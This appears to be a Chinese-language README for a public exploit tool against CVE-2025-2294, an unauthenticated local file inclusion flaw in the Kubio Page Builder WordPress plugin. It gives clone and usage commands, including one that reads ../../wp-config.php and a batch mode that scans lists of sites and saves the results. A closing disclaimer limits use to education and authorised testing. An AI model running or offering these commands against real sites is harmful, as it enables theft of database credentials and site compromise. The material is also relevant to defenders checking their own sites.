Kubio Page Builder LFI 漏洞利用工具 (CVE-2025-2294)

Kubio Page Builder WordPress 插件（版本 ≤ 2.5.1）的本地文件包含（LFI）漏洞利用工具。

📌 说明

该工具利用了 Kubio Page Builder 插件中的一个未授权 LFI 漏洞（CVE-2025-2294），允许攻击者读取易受攻击的 WordPress 站点上的敏感文件。

🚀 特性

• 单目标模式 (-u)
• 从文件批量扫描 (-l)
• 版本检测
• 将结果输出到文件 (-o)
• 自动检测易受攻击的版本
• 支持自定义文件路径

📦 安装

git clone https://github.com/mrrivaldo/CVE-2025-2294.git

🛠 使用方法

基本单目标

python3 cve-2025-2294.py -u https://vulnerable-site.com

自定义文件路径

python3 cve-2025-2294.py -u https://vulnerable-site.com -f ../../wp-config.php

批量扫描模式

python3 cve-2025-2294.py -l targets.txt -o results.txt

帮助菜单

python3 cve-2025-2294.py --help

⚙ 选项

📝 示例文件结构

targets.txt：

https://wordpress-site1.com
http://wordpress-site2.com
https://another-vulnerable-site.com

⚠ 法律免责声明

此工具仅用于教育目的。开发者对任何滥用行为概不负责。在测试任何系统之前，请务必获得适当的授权。